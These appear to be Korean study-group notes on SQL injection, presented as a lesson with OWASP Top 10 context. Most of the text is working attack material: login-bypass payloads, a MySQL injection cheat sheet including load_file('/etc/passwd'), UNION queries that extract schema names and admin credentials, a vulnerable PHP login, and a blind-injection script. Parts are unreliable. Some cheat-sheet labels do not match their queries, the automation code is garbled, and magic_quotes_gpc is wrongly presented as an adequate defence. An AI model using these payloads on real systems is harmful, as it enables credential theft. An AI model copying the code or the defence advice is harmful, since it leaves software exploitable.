[모각코] #6 해킹맛보기 2강 웹해킹(2.7~2.9)
2.7 데이터베이스 해킹
-
데이터베이스: 데이터의 집합
-
DBMS(DataBase Management System)
-> 웹 언어와 독립적으로 사용
웹언어 DBMS 공통특징 PHP MySQL 오픈소스 JSP Oracle 오라클 사의 제품 ASP Ms-SQL 마이크로소프트 사의 제품
2.7.1 공격에 필요한 구문
SQL 삽입
ex) My SQL 레퍼런스의 SELECT 문
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT ][SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [,select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC |DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]},
※SELECT {칼럼} FROM {테이블} WHERE {조건}
-
웹 페이지 회원기능
-
회원가입 - INSERT문
-
회원가입 쿼리
insert into member(id, password, name) values(‘입력아이디’, ‘입력패스워드’,’입력이름’);
-> Member 테이블에 ‘입력아이디’, ‘입력패스워드’,’입력이름’ 값을 추가
-
-
회원정보 수정 - UPDATE문
-
회원정보 수정 쿼리
update member set password=’새로운 패스워드’ where id =’hellsonic’
-> Member 테이블에 id가 hellsonic인 경우 패스워드를 ‘새로운 패스워드’로 변경
-
-
로그인 - SELECT 문
-
로그인 쿼리
select idx from member where id=”입력아이디” and password=’입력패스워드’
-> Member 테이블에서 id가 ‘입력아이디’이고 password가 ‘입력패스워드’인 결과의 idx 칼럼 출력
-
-
회원 탈퇴 - DELETE 문
-
회원 탈퇴 쿼리
delete from member where id = ‘hellsonic’
-> Member의 테이블에 id가 hellsonic인 경우 Row 삭제
-
-
UNION
-> SQL 삽입 공격시 가장 많이 사용되는 쿼리
ex) UNION 사용시 앞 SELECT 문의 칼럽 개수와 뒤 SELECT문의 칼럼 개수가 같아야함
-> SELECT 1,2,3 UNION SELECT 4,5,6
=> 실제 UNION 통해 공격시, 앞 칼럼 개수 추측하여 1개씩 늘려감
-
2.7.2 공격
=> 간단한 SQL 삽입 테스트론 쿼트 문자열 1개 삽입하여 에러유무 확인
-> 서버 환경에 따라 결과값 다르기 때문에 정확하게 테스트하기
따옴표로 SQL 삽입 공격
ex) 로그인 소스코드
$result = mysql_query("SELECT id FROM member WHERE id='$id' and password='$password'");
$info = mysql_fetch_array($result);
if($info[0]) { // 아이디와 비번 존재시
echo "Hello".$info[0]; // 아이디 출력
}else{
echo "Login Fail";
}
-
공격
SELECT id FROM member WHERE id=’admin’ and password=’ ‘ or ‘1’=’1’
-> 아이디에 admin, 패스워드에 ‘ or ‘1’=’1
=>id가 admin이면서 패스워드가 빈칸(‘‘)이거나, 1=1이 참일때 모든 ROW 리턴
-> 최상위 ROW값의 아이디(admin)d으로 로그인
-
그 외 SQL 삽입 취약점 테스트
' or 1=1# ' or '1'='1 " or 1=1# '||1=1# "||1=1# '||2>1# or 1=1 # '> or ('1'='1 ...
UNOIN과 Cheat Sheet로 로그인 공격
-
MySQL 삽입 Cheat Sheet
유저명 출력 select user(); 버전명 출력 select version(); 현재 사용 데이터베이스명 출력 select database(); 유저 리스트 출력 select database(); 모든 스키마명 출력 select user from mysql.user 모든 테이블명 출력 select shema.name from information_schema.schemata 테이블 칼럼명 출력 select table_name from infromation_schema.tables 테이블 칼럼명 출력 select column_name from information_schema.columns where table_name=”테이블 명” 로컬 파일 접근 select load_file(‘/etc/passwd’) 파일로 추출 select 1234 into outfile ‘/tmp/outfile’ -
공격
-
cheat sheet 와 UNION문으로 데이터 추출
Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select version()#’
-
cheat sheet 와 UNION문으로 스키마 이름 추출
Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select schema_name from information_schema limit 0,1#”
-> 상위의 ‘information_schema’ 라는 스키마명 출력
- 다른 줄 추출시 LIMIT문 사용
-
데이터베이스명 획득
Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select schema_name from information_schema.schemata limit 1,1#”
-> Hello book // 데이터 베이스명: book
-
테이블명 획득
Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select schema_tables where table_schema=database () #”
-> Hello member // 테이블명 : member
-
칼럼명 획득
Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select column_name from information_schema.columns where table_name=”member” limit 0,1#”
-> Hello id // 칼럼명: id
-
칼럼명 획득2(password)
Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select column_name from information_schema.columns where table_name=”member” limit 1,1#”
-> Hello password // 칼럼명: password
-
멤버 테이블의 id, password 획득
Query => SELECT id FROM member WHERE id =’1234’ and password=’1’ union select concat ( id, ‘:’, password) from member#”
-> Hello admin : admpwd
-
Blind SQL 삽입
-> 쿼리 결과의 참/거짓 정보만으로 데이터 추출
ex) 로그인
$result = mysql_query("SELECT id FROM member WHERE id='$id' and password='$password'");
$info = mysql_fetch_array($result);
if($info[0]) { // 아이디와 비번 존재시
echo "Login Success; // 존재 유무만
}else{
echo "Login Fail";
}
=> ‘or 1=1#’로 로그인 우회 가능
데이터 추출
=> A라는 한바이트 문자열 뽑으려면 8번의 쿼리가 실행
-
“ABC”추출을 위해 substr로 첫번째 글자 자르기
-
나온 “A”값을 10진수로 변환
-
10진수 “A”값인 65를 2진수로 변환
-
2진수를 lpad(left padding)함수로 8바이트로 맞추기
-
8바이트로 맞춰진 2진수의 첫번째바이트(0 또는 1)을 추출해 1과 비교
-
쿼리로 표현시 :
select substr(lpad(bin(ord(substr(“ABC”,1,1))),8,0),1,1);
※ 쿼리로 표현
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),1,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),2,1); //1리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),3,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),4,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),5,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),6,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),7,1); //0리턴
select substr(lpad(bin(ord(substr("ABC",1,1))),8,0),8,1); //1리턴
01000001 -> “A”
-
Blind SQL 삽입 자동화 코드
j = 1; stack = ""; while(1) { for(i=1li<=8;i++){ rsult = get{"http://x.x.x.x/target.php?id=1234&password=1' or (select substr(lpad(bin(ord(substr(password,j,1)))),8,0),i,1) from member where id = 'admin')=1%23"); if(result=-Success){ stack += "1"; }else{ stack +="0"; } } print chr(bindec(stack)); stack = ""; j++; }
-> 참 거짓으로 판별하여 유추
-
MySQL의 SQL삽입공격에서 자주 사용되는 함수
ASCII() BIN() CONCAT() FIND_IN_SET() HEX() INSTR() LOAD_FILE() LEFT() RIGHT() ORD() LPAD() SUBSTR() SUBSTRING()
2.7.3 방어 기법
PHP
-
magic_quotes_gpc 옵션
- GPC = GET, POST, COOKIE
-> GET, POST, COOKIE로 들어오는 값에 작은따옴표, 큰따옴표, 역슬래시, 널바이트 문자 존재시 앞에 역슬래시 붙임
=> 저 옵션을 키고 모든 사용자 입력값을 작은 따옴표 또는 큰 따옴표로 감싸면 공격 방어 가능
2.8 웹 해킹 음미하기
- OWASP 2013 Top10(10대 웹 애플리케이션 보안 위험)
- 삽입
- 인증 및 세션 관리 취약점
- 크로스 사이트 스크립팅
- 취약한 직접 객체 참조
- 보안 설정 오류
- 민감 데이터 노출
- 기능 수준의 접근 통제 누락
- 크로스 사이트 요청 변조
- 알려진 취약점이 있는 컴포넌트 사용
- 검증되지 않은 리다이레트 및 포워드